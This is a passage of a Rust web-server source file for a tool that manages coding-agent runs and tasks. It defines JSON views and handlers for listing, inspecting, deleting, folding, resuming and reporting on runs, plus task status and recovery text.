3909 updated_at: String,
3910 candidates: usize,
3911 viable: usize,
3912 judges: usize,
3913 winner: Option<char>,
3914 reviews: usize,
3915 quota_losses: usize,
3916 event: Option<String>,
3917 superseded_by: Option<String>,
3922 waiting: bool,
3929 live: crate::run::Liveness,
3933 pr: Option<crate::run::PrRecord>,
3935 unmerged_by_design: bool,
3941 #[serde(default)]
3944 display_status: String,
3945 #[serde(default)]
3948 badge_status: String,
3949 origin_label: String,
3952}
3953
3954impl RunSummary {
3955 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3956 Self {
3957 activity: crate::run_progress::activity(state, live, waiting),
3958 id: state.id.clone(),
3959 short: state.short().to_owned(),
3960 status: status_word(state.status),
3961 done: state.status.done(),
3962 unmerged_by_design: state.unmerged_by_design(),
3963 display_status: run_display_status(state, waiting, live),
3964 badge_status: run_display_status(state, waiting, live),
3965 instruction: state.instruction.clone(),
3966 title: title_from(&state.instruction, TITLE_MAX),
3967 repo: state.repo.display().to_string(),
3968 repo_name: state
3969 .repo
3970 .file_name()
3971 .map(|n| n.to_string_lossy().into_owned())
3972 .unwrap_or_default(),
3973 created_at: state.created_at.to_string(),
3974 updated_at: state.updated_at.to_string(),
3975 candidates: state.candidates.len(),
3976 viable: state.viable().len(),
3977 judges: state.config.graph.judges,
3978 winner: state.winner().map(|c| c.label),
3979 reviews: state.reviews.len(),
3980 quota_losses: state.quota.len(),
3981 event: state
3982 .verification_blocking_cause()
3983 .or_else(|| state.events.last().map(|e| e.message.clone())),
3984 waiting,
3985 live,
3986 superseded_by: None,
3989 pr: state.pr.clone(),
3990 origin_label: crate::run::origin_label(state.origin.as_ref()),
3991 }
3992 }
3993}
3994
3995fn status_word(status: RunStatus) -> String {
3998 status.as_str().to_owned()
4002}
4003
4004fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
4010 if waiting {
4011 return "waiting".to_owned();
4012 }
4013 if state.unmerged_by_design() {
4014 return "unmerged".to_owned();
4015 }
4016 if !state.status.done() && live == crate::run::Liveness::Dead {
4017 if state.parked {
4020 return "parked".to_owned();
4021 }
4022 return "stale".to_owned();
4023 }
4024 status_word(state.status)
4025}
4026
4027fn run_badge_status(
4035 state: &RunState,
4036 display_status: &str,
4037 live: crate::run::Liveness,
4038 superseded: bool,
4039) -> String {
4040 if state.status.done() || live == crate::run::Liveness::Live {
4041 return display_status.to_owned();
4042 }
4043 if superseded {
4044 return "superseded".to_owned();
4045 }
4046 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
4050 return "stale".to_owned();
4051 }
4052 display_status.to_owned()
4053}
4054
4055#[derive(Debug, Deserialize)]
4057struct ListQuery {
4058 #[serde(default)]
4059 limit: Option<usize>,
4060 ids: Option<String>,
4062}
4063
4064impl ListQuery {
4065 fn contains(&self, id: &str) -> bool {
4066 self.ids
4067 .as_ref()
4068 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
4069 }
4070}
4071
4072async fn runs_list(
4073 State(ui): State<Arc<Ui>>,
4074 Query(q): Query<ListQuery>,
4075) -> ApiResult<Json<Vec<RunSummary>>> {
4076 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
4077 blocking(move || {
4078 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4079 let states = run_ids(&ui.runs)
4080 .into_iter()
4081 .filter_map(|id| read_run(&ui.runs, &id).ok())
4086 .take(limit)
4087 .filter(|run| q.contains(&run.id));
4088 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4089 let summaries = summarize(
4090 states,
4091 &open_runs,
4092 &claimed,
4093 &superseded,
4094 |p| probe.borrow_mut().status(p),
4095 |p| probe.borrow_mut().started_at(p),
4096 );
4097 Ok(Json(summaries))
4098 })
4099 .await
4100}
4101
4102fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4107 let open_runs: HashSet<String> = ui
4108 .questions
4109 .list()
4110 .into_iter()
4111 .filter(|q| q.status.open())
4112 .map(|q| q.run)
4113 .collect();
4114 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4115 .into_iter()
4116 .map(|c| c.run)
4117 .collect();
4118 (open_runs, claimed, ui.queue.superseded())
4119}
4120
4121fn summarize<I, S, D>(
4127 states: I,
4128 open_runs: &HashSet<String>,
4129 claimed: &HashSet<String>,
4130 superseded: &HashMap<String, String>,
4131 mut status_q: S,
4132 mut identity_q: D,
4133) -> Vec<RunSummary>
4134where
4135 I: IntoIterator<Item = RunState>,
4136 S: FnMut(u32) -> Option<bool>,
4137 D: FnMut(u32) -> Option<String>,
4138{
4139 states
4140 .into_iter()
4141 .map(|state| {
4142 let waiting = open_runs.contains(&state.id);
4143 let live =
4144 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4145 let mut row = RunSummary::of(&state, waiting, live);
4146 row.superseded_by = state
4147 .pr_taken_over_by
4148 .as_ref()
4149 .or_else(|| superseded.get(&state.id))
4150 .map(String::as_str)
4151 .map(crate::run::short_of)
4152 .map(str::to_owned);
4153 row.badge_status = run_badge_status(
4154 &state,
4155 &row.display_status,
4156 live,
4157 row.superseded_by.is_some(),
4158 );
4159 row
4160 })
4161 .collect()
4162}
4163
4164#[derive(Debug, Serialize)]
4171struct RunDetailView {
4172 progress: crate::run_progress::Progress,
4173 stop_reason: Option<String>,
4174 #[serde(flatten)]
4175 state: RunState,
4176 instruction_md: Vec<md::Node>,
4177 #[serde(flatten)]
4181 prose_md: RunProseMd,
4182 live: crate::run::Liveness,
4197 unmerged_by_design: bool,
4202 #[serde(default)]
4204 waiting: bool,
4205 #[serde(default)]
4207 display_status: String,
4208 #[serde(default)]
4210 badge_status: String,
4211 done: bool,
4216 superseded_by: Option<String>,
4224 latest_attempt: Option<LatestAttempt>,
4238 task: Option<TaskRef>,
4241 origin_label: String,
4245 pass_views: Vec<PassView>,
4248}
4249
4250#[derive(Debug, Serialize)]
4252struct TaskRef {
4253 id: String,
4254 short: String,
4255 title: String,
4256 source_label: String,
4258 source_link: Option<SourceLink>,
4260 status: &'static str,
4262 attempts: usize,
4263 max_attempts: usize,
4264 is_latest: bool,
4266 latest: Option<RunBrief>,
4268 finished_by: Option<RunBrief>,
4270 closed_by_hand: bool,
4272}
4273
4274#[derive(Debug, PartialEq, Eq, Serialize)]
4276struct SourceLink {
4277 kind: &'static str,
4279 id: String,
4281 href: String,
4283}
4284
4285fn encode_segment(raw: &str) -> String {
4287 let mut out = String::with_capacity(raw.len());
4288 for b in raw.bytes() {
4289 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4290 out.push(b as char);
4291 } else {
4292 out.push_str(&format!("%{b:02X}"));
4293 }
4294 }
4295 out
4296}
4297
4298fn source_link(source: &Source) -> Option<SourceLink> {
4302 let Source::Agent { run, node } = source else {
4303 return None;
4304 };
4305 let (kind, route) = if node == crate::queue::CHAT_NODE {
4306 ("chat", "chat")
4307 } else {
4308 ("run", "runs")
4309 };
4310 Some(SourceLink {
4311 kind,
4312 id: run.clone(),
4313 href: id_links::page_href(route, run),
4314 })
4315}
4316
4317#[derive(Debug, Serialize, PartialEq)]
4319struct FollowUpParent {
4320 id: String,
4321 short: String,
4322 title: String,
4323 status: &'static str,
4325 href: String,
4326}
4327
4328#[derive(Debug, Serialize, PartialEq)]
4330struct FollowUpRun {
4331 id: String,
4332 short: String,
4333 status: Option<&'static str>,
4335 href: Option<String>,
4337}
4338
4339#[derive(Debug, Serialize, PartialEq)]
4342struct FollowUpOrigin {
4343 parent: Option<FollowUpParent>,
4345 run: FollowUpRun,
4346 pr: String,
4351 findings: Vec<String>,
4352 generation: u32,
4353}
4354
4355fn followup_origin(
4358 fu: &crate::queue::FollowUp,
4359 task: impl Fn(&str) -> Option<Task>,
4360 run: impl Fn(&str) -> Option<RunState>,
4361) -> FollowUpOrigin {
4362 let parent = fu
4363 .origin_task
4364 .as_deref()
4365 .and_then(task)
4366 .map(|t| FollowUpParent {
4367 short: t.short().to_owned(),
4368 href: format!("#/tasks/{}", encode_segment(&t.id)),
4369 status: t.status.as_str(),
4370 title: t.title,
4371 id: t.id,
4372 });
4373 let state = run(&fu.run);
4374 FollowUpOrigin {
4375 parent,
4376 run: FollowUpRun {
4377 short: run::short_of(&fu.run).to_owned(),
4378 status: state.as_ref().map(|s| s.status.as_str()),
4379 href: state
4380 .is_some()
4381 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4382 id: fu.run.clone(),
4383 },
4384 pr: fu.pr.clone(),
4385 findings: fu.findings.clone(),
4386 generation: fu.generation,
4387 }
4388}
4389
4390#[derive(Debug, Serialize)]
4392struct RunBrief {
4393 id: String,
4394 short: String,
4395 status: Option<&'static str>,
4397 outcome: String,
4399 badge: Option<String>,
4401}
4402
4403fn task_outcome(
4406 task: &Task,
4407 this_run: &str,
4408 max_attempts: usize,
4409 read: impl Fn(&str) -> Option<RunState>,
4410) -> TaskRef {
4411 let max_attempts = task.effective_attempt_limit(max_attempts);
4412 let history = task_history(task, read);
4413 let brief = |h: &TaskRunView| RunBrief {
4414 id: h.id.clone(),
4415 short: h.short.clone(),
4416 status: h.status,
4417 outcome: h.exit.edge_label(h.status),
4418 badge: h.badge.clone(),
4419 };
4420 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4421 let latest = if is_latest {
4422 None
4423 } else {
4424 history.last().map(brief)
4425 };
4426 let done = task.status == TaskStatus::Done;
4427 let finished_by = done
4428 .then(|| {
4429 history
4430 .iter()
4431 .rev()
4432 .find(|h| {
4433 matches!(
4434 h.exit,
4435 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4436 )
4437 })
4438 .map(brief)
4439 })
4440 .flatten();
4441 TaskRef {
4442 short: task.short().to_owned(),
4443 title: task.title.clone(),
4444 id: task.id.clone(),
4445 source_label: task.source_label(),
4446 source_link: source_link(&task.source),
4447 status: task.status.as_str(),
4448 attempts: task.attempts,
4449 max_attempts,
4450 is_latest,
4451 latest,
4452 closed_by_hand: done && finished_by.is_none(),
4453 finished_by,
4454 }
4455}
4456
4457#[derive(Debug, Serialize)]
4459struct LatestAttempt {
4460 id: String,
4461 short: String,
4462 resolved: bool,
4473 status: RunStatus,
4476 done: bool,
4478}
4479
4480#[derive(Debug, Default, Serialize)]
4482struct RunProseMd {
4483 advice_md: Option<AdviceMd>,
4485 candidate_summaries_md: Vec<Vec<md::Node>>,
4487 reviews_md: Vec<RoundMd>,
4489}
4490
4491#[derive(Debug, Default, Serialize)]
4492struct AdviceMd {
4493 synthesis: Vec<md::Node>,
4494 approaches: Vec<Vec<md::Node>>,
4496}
4497
4498#[derive(Debug, Default, Serialize)]
4499struct RoundMd {
4500 reviewers: Vec<ReviewerMd>,
4502 reconsideration: Vec<Vec<md::Node>>,
4504 fix: Option<FixMd>,
4505}
4506
4507#[derive(Debug, Default, Serialize)]
4508struct ReviewerMd {
4509 summary: Vec<md::Node>,
4510 findings: Vec<Vec<md::Node>>,
4512}
4513
4514#[derive(Debug, Default, Serialize)]
4515struct FixMd {
4516 notes: Vec<md::Node>,
4517 rejected: Vec<Vec<md::Node>>,
4519}
4520
4521fn run_prose_md(state: &RunState) -> RunProseMd {
4523 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4524 RunProseMd {
4525 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4526 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4527 approaches: a
4528 .records
4529 .iter()
4530 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4531 .collect(),
4532 }),
4533 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4534 reviews_md: state
4535 .reviews
4536 .iter()
4537 .map(|round| RoundMd {
4538 reviewers: round
4539 .reviews
4540 .iter()
4541 .map(|rec| ReviewerMd {
4542 summary: nodes(&rec.summary),
4543 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4544 })
4545 .collect(),
4546 reconsideration: round
4547 .reconsideration
4548 .iter()
4549 .map(|rv| nodes(&rv.reason))
4550 .collect(),
4551 fix: round.fix.as_ref().map(|fix| FixMd {
4552 notes: nodes(&fix.notes),
4553 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4554 }),
4555 })
4556 .collect(),
4557 }
4558}
4559
4560impl RunDetailView {
4561 fn of(
4562 state: RunState,
4563 waiting: bool,
4564 live: crate::run::Liveness,
4565 superseded_by: Option<String>,
4566 latest_attempt: Option<LatestAttempt>,
4567 task: Option<TaskRef>,
4568 ) -> Self {
4569 let display_status = run_display_status(&state, waiting, live);
4570 let stop_reason = crate::stop_reason::of(
4571 &state,
4572 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4573 );
4574 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4575 Self {
4576 progress: crate::run_progress::build(&state, live, waiting),
4577 stop_reason,
4578 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4579 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4580 prose_md: run_prose_md(&state),
4581 origin_label: crate::run::origin_label(state.origin.as_ref()),
4582 live,
4583 unmerged_by_design: state.unmerged_by_design(),
4584 waiting,
4585 display_status,
4586 badge_status,
4587 done: state.status.done(),
4588 superseded_by,
4589 latest_attempt,
4590 task,
4591 state,
4592 }
4593 }
4594}
4595
4596async fn run_core(
4598 State(ui): State<Arc<Ui>>,
4599 Path(id): Path<String>,
4600) -> ApiResult<Json<RunDetailView>> {
4601 blocking(move || {
4602 let id = resolve_run(&ui.runs, &id)?;
4603 let state = read_run(&ui.runs, &id)?;
4604 Ok(Json(RunDetailView::of(
4605 state,
4606 false,
4607 crate::run::Liveness::Unknown,
4608 None,
4609 None,
4610 None,
4611 )))
4612 })
4613 .await
4614}
4615
4616async fn run_progress(
4618 State(ui): State<Arc<Ui>>,
4619 Path(id): Path<String>,
4620) -> ApiResult<Json<serde_json::Value>> {
4621 blocking(move || {
4622 let id = resolve_run(&ui.runs, &id)?;
4623 let state = read_run(&ui.runs, &id)?;
4624 let live = state.liveness(crate::daemon::is_working_on(
4625 &ui.home,
4626 &id,
4627 Timestamp::now(),
4628 ));
4629 let waiting = !ui.questions.open_for(&id).is_empty();
4630 Ok(Json(serde_json::json!({
4631 "id": id, "updated_at": state.updated_at, "live": live,
4632 "observed_at": Timestamp::now(),
4633 "progress": crate::run_progress::build(&state, live, waiting),
4634 })))
4635 })
4636 .await
4637}
4638
4639async fn run_detail(
4640 State(ui): State<Arc<Ui>>,
4641 Path(id): Path<String>,
4642) -> ApiResult<Json<RunDetailView>> {
4643 blocking(move || {
4644 let id = resolve_run(&ui.runs, &id)?;
4645 let state = read_run(&ui.runs, &id)?;
4646 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4647 let live = state.liveness(daemon_claims);
4648 crate::queue::record_ids(ui.questions.root(), "json")?;
4649 let waiting = ui
4650 .questions
4651 .list()
4652 .iter()
4653 .any(|q| q.run == id && q.status.open());
4654 let max_attempts = daemon::Opts::default().max_attempts;
4655
4656 let matching_task = ui.find_task_for_run(&id)?;
4657
4658 let superseded_by = state
4659 .pr_taken_over_by
4660 .clone()
4661 .or_else(|| {
4662 matching_task
4663 .as_ref()
4664 .and_then(|t| t.successor_of(&id).cloned())
4665 })
4666 .as_deref()
4667 .map(crate::run::short_of)
4668 .map(str::to_owned);
4669
4670 let latest_attempt = matching_task
4674 .as_ref()
4675 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4676 .and_then(|head_id| {
4677 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4678 short: head.short().to_owned(),
4679 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4680 status: head.status,
4681 done: head.status.done(),
4682 id: head.id,
4683 })
4684 });
4685
4686 let task = matching_task
4687 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4688
4689 Ok(Json(RunDetailView::of(
4690 state,
4691 waiting,
4692 live,
4693 superseded_by,
4694 latest_attempt,
4695 task,
4696 )))
4697 })
4698 .await
4699}
4700
4701async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4710 let (id, unreadable) = {
4711 let ui = Arc::clone(&ui);
4712 blocking(move || {
4713 let id = resolve_run(&ui.runs, &id)?;
4714 match read_run(&ui.runs, &id) {
4715 Ok(_) => {
4716 crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4720 |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4721 Some(refused) => ApiError::conflict(refused.0.clone()),
4722 None => ApiError::internal(format!("{e:#}")),
4723 },
4724 )?;
4725 Ok((id, false))
4726 }
4727 Err(_) => {
4728 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4732 return Err(ApiError::conflict(format!(
4733 "run {id} is being worked on by a live daemon right now"
4734 )));
4735 }
4736 Ok((id, true))
4737 }
4738 }
4739 })
4740 .await?
4741 };
4742 if unreadable {
4743 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4744 .await
4745 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4746 }
4747 let ui = Arc::clone(&ui);
4748 let done = id.clone();
4749 blocking(move || {
4750 ui.questions.abandon_for_run(
4753 &done,
4754 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4755 )?;
4756 Ok(())
4757 })
4758 .await?;
4759 Ok(StatusCode::NO_CONTENT)
4760}
4761
4762async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4786 let (id, state) = {
4787 let ui = Arc::clone(&ui);
4788 blocking(move || {
4789 let id = resolve_run(&ui.runs, &id)?;
4790 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4791 return Err(ApiError::conflict(format!(
4792 "run {id} is being worked on by a live daemon right now"
4793 )));
4794 }
4795 crate::clean::ensure_record_identity(&ui.runs, &id)
4796 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4797 let state = match read_run(&ui.runs, &id) {
4798 Ok(state) => {
4799 state
4800 .ensure_directory(&id)
4801 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4802 Some(state)
4803 }
4804 Err(_) => None,
4805 };
4806 Ok((id, state))
4807 })
4808 .await?
4809 };
4810 let removed = match state {
4811 Some(mut state) => {
4812 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4813 .await
4814 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4815 if removed.is_empty() {
4820 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4821 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4822 }
4823 removed
4824 }
4825 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4826 .await
4827 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4828 };
4829 Ok(Json(FoldView {
4830 run: id,
4831 removed_count: removed.len(),
4832 removed,
4833 }))
4834}
4835
4836#[derive(Debug, Serialize)]
4838struct FoldView {
4839 run: String,
4840 removed: Vec<String>,
4842 removed_count: usize,
4843}
4844
4845#[derive(Debug, Deserialize)]
4848struct FoldMergedBody {
4849 #[serde(default)]
4850 pr_url: String,
4851}
4852
4853async fn run_fold_merged(
4873 State(ui): State<Arc<Ui>>,
4874 Path(id): Path<String>,
4875 Json(body): Json<FoldMergedBody>,
4876) -> ApiResult<Json<FoldMergedView>> {
4877 let pr_url = body.pr_url.trim().to_owned();
4878 if pr_url.is_empty() {
4879 return Err(ApiError::bad_request("pr_url is required"));
4880 }
4881 let (id, mut state) = {
4882 let ui = Arc::clone(&ui);
4883 blocking(move || {
4884 let id = resolve_run(&ui.runs, &id)?;
4885 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4886 return Err(ApiError::conflict(format!(
4887 "run {id} is being worked on by a live daemon right now"
4888 )));
4889 }
4890 let state = read_run(&ui.runs, &id)?;
4891 state
4892 .ensure_directory(&id)
4893 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4894 Ok((id, state))
4895 })
4896 .await?
4897 };
4898 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4899 .await
4900 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4901 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4902 .await
4903 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4904 Ok(Json(FoldMergedView {
4905 run: id,
4906 before: before.as_str().to_owned(),
4907 after: after.as_str().to_owned(),
4908 removed,
4909 }))
4910}
4911
4912#[derive(Debug, Serialize)]
4914struct FoldMergedView {
4915 run: String,
4916 before: String,
4918 after: String,
4920 removed: Vec<String>,
4922}
4923
4924async fn run_resume(
4944 State(ui): State<Arc<Ui>>,
4945 Path(id): Path<String>,
4946) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4947 let admission = ui.begin_admission()?;
4948 admitted(admission, async move {
4949 let (id, state) = {
4950 let ui = Arc::clone(&ui);
4951 blocking(move || {
4952 let id = resolve_run(&ui.runs, &id)?;
4953 let state = read_run(&ui.runs, &id)?;
4954 Ok((id, state))
4955 })
4956 .await?
4957 };
4958 crate::resume::validate_unqueued(&ui.home, &id)
4959 .map_err(|e| ApiError::conflict(e.to_string()))?;
4960 let _resume = ui.begin_resume(&id)?;
4961
4962 crate::resume::start(&ui.home, id.clone())
4963 .await
4964 .map_err(ApiError::from)?;
4965 let queued = RunSummary::of(
4968 &state,
4969 !ui.questions.open_for(&id).is_empty(),
4970 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4971 );
4972 Ok((StatusCode::ACCEPTED, Json(queued)))
4973 })
4974 .await
4975}
4976
4977async fn run_report(
4978 State(ui): State<Arc<Ui>>,
4979 Path(id): Path<String>,
4980) -> ApiResult<impl IntoResponse> {
4981 let text = blocking(move || {
4982 let id = resolve_run(&ui.runs, &id)?;
4983 let state = read_run(&ui.runs, &id)?;
4987 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4988 let live = state.liveness(daemon_claims);
4989 Ok(format!(
4990 "{}{}",
4991 report::run(&state),
4992 report::active_seats(&state, live)
4993 ))
4994 })
4995 .await?;
4996 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4997}
4998
4999async fn run_report_json(
5003 State(ui): State<Arc<Ui>>,
5004 Path(id): Path<String>,
5005) -> ApiResult<Json<crate::report_view::RunReportView>> {
5006 let view = blocking(move || {
5007 let id = resolve_run(&ui.runs, &id)?;
5008 let state = read_run(&ui.runs, &id)?;
5009 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5010 let recovered = state.graft.as_ref().map(|_| {
5012 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
5013 });
5014 Ok(crate::report_view::build_with(
5015 &state,
5016 state.liveness(daemon_claims),
5017 recovered.as_ref(),
5018 ))
5019 })
5020 .await?;
5021 Ok(Json(view))
5022}
5023
5024async fn run_seat_evidence(
5026 State(ui): State<Arc<Ui>>,
5027 Path(id): Path<String>,
5028) -> ApiResult<impl IntoResponse> {
5029 let id = resolve_run(&ui.runs, &id)?;
5030 let heads = crate::retention::seat_heads(&ui.home, &id)
5031 .await
5032 .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5033 Ok(Json(heads))
5034}
5035
5036async fn run_seat_diff(
5037 State(ui): State<Arc<Ui>>,
5038 Path((id, head)): Path<(String, String)>,
5039) -> ApiResult<impl IntoResponse> {
5040 let id = resolve_run(&ui.runs, &id)?;
5041 let patch = crate::retention::seat_diff(&ui.home, &id, &head)
5042 .await
5043 .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5044 Ok((
5045 [
5046 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5047 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5048 ],
5049 patch,
5050 ))
5051}
5052
5053const GRAFT_DIFF_MAX: usize = 400 * 1024;
5055const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
5057
5058async fn run_graft_diff(
5061 State(ui): State<Arc<Ui>>,
5062 Path(id): Path<String>,
5063) -> ApiResult<impl IntoResponse> {
5064 let (repo, pre, post) = blocking(move || {
5065 let id = resolve_run(&ui.runs, &id)?;
5066 let state = read_run(&ui.runs, &id)?;
5067 let g = state
5068 .graft
5069 .as_ref()
5070 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
5071 let post = g
5072 .post
5073 .clone()
5074 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
5075 Ok((state.repo.clone(), g.pre.clone(), post))
5076 })
5077 .await?;
5078 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
5079 if !hex(&pre) || !hex(&post) {
5080 return Err(ApiError::not_found("the recorded commits are not valid"));
5081 }
5082 let out = tokio::time::timeout(
5083 GRAFT_DIFF_TIMEOUT,
5084 crate::git::git_raw(
5085 &repo,
5086 &[
5087 "diff",
5088 "--no-color",
5089 "--no-ext-diff",
5090 "-M",
5091 &pre,
5092 &post,
5093 "--",
5094 ],
5095 ),
5096 )
5097 .await
5098 .map_err(|_| ApiError::not_found("git diff timed out"))?
5099 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
5100 if out.code != Some(0) {
5101 return Err(ApiError::not_found(
5102 "the recorded commits are no longer in the repository",
5103 ));
5104 }
5105 let mut body = out.stdout;
5106 if body.len() > GRAFT_DIFF_MAX {
5107 let mut cut = GRAFT_DIFF_MAX;
5108 while !body.is_char_boundary(cut) {
5109 cut -= 1;
5110 }
5111 body.truncate(cut);
5112 body.push_str("\n... diff truncated ...");
5113 }
5114 Ok((
5115 [
5116 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5117 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5118 ],
5119 body,
5120 ))
5121}
5122
5123#[derive(Debug, Serialize)]
5129struct TaskView {
5130 #[serde(flatten)]
5131 task: Task,
5132 source_label: String,
5133 reassignment_notes: Vec<String>,
5134 source_link: Option<SourceLink>,
5135 status_str: &'static str,
5136 upgrade_resume_at: Option<Timestamp>,
5138 instruction_md: Vec<md::Node>,
5142 waits_on: Vec<String>,
5146 stuck_roots: Vec<String>,
5149 blockers: Vec<crate::blockers::BlockerView>,
5150 recovery: Option<String>,
5151 #[serde(skip_serializing_if = "Option::is_none")]
5154 admission: Option<daemon::TaskAdmission>,
5155}
5156
5157impl From<Task> for TaskView {
5158 fn from(task: Task) -> Self {
5159 Self {
5160 source_label: task.source_label(),
5161 reassignment_notes: Vec::new(),
5162 source_link: source_link(&task.source),
5163 status_str: task.status.as_str(),
5164 upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5165 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5166 waits_on: Vec::new(),
5167 stuck_roots: Vec::new(),
5168 blockers: Vec::new(),
5169 recovery: task_recovery(&task),
5170 admission: None,
5171 task,
5172 }
5173 }
5174}
5175
5176impl TaskView {
5177 fn with_admission(
5178 mut self,
5179 snapshot: &daemon::AdmissionSnapshot,
5180 queue: &Queue,
5181 inv: Option<&crate::blockers::Inventory>,
5182 home: &std::path::Path,
5183 ) -> Self {
5184 self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5185 self
5186 }
5187
5188 fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5189 if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5190 let recovery = crate::triage::RecoveryIndex::load(questions);
5191 let pending = crate::blockers::Inventory::recovery_views(&self.task, &recovery);
5192 if !pending.is_empty() {
5193 self.recovery = Some(format!(
5194 "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5195 self.recovery.as_deref().unwrap_or_default()
5196 ));
5197 }
5198 for decision in pending {
5199 self.blockers.retain(|view| view.id != decision.id);
5200 self.blockers.push(decision);
5201 }
5202 }
5203 self
5204 }
5205
5206 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5207 let waits_on = inv.waits_on(&task);
5208 let stuck_roots = inv
5209 .stuck_roots(&task)
5210 .iter()
5211 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5212 .collect();
5213 Self {
5214 blockers: inv.blocker_views(&task),
5215 waits_on,
5216 stuck_roots,
5217 ..Self::from(task)
5218 }
5219 }
5220}
5221
5222fn task_recovery(task: &Task) -> Option<String> {
5223 use crate::queue::{HoldSource, TaskStatus};
5224 if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5225 return None;
5226 }
5227 let mut text = String::new();
5228 if task.status == TaskStatus::Blocked {
5229 text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5230 let restored = match task.blocked_from {
5231 Some(TaskStatus::Running) => TaskStatus::Queued,
5232 Some(status) => status,
5233 None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5234 None => TaskStatus::Queued,
5235 };
5236 text.push_str(&format!(
5237 "After all dependencies resolve, the scheduler restores {}. ",
5238 restored.as_str()
5239 ));
5240 if restored != TaskStatus::Held {
5241 return Some(text);
5242 }
5243 }
5244 text.push_str(match task.hold_source {
5245 Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
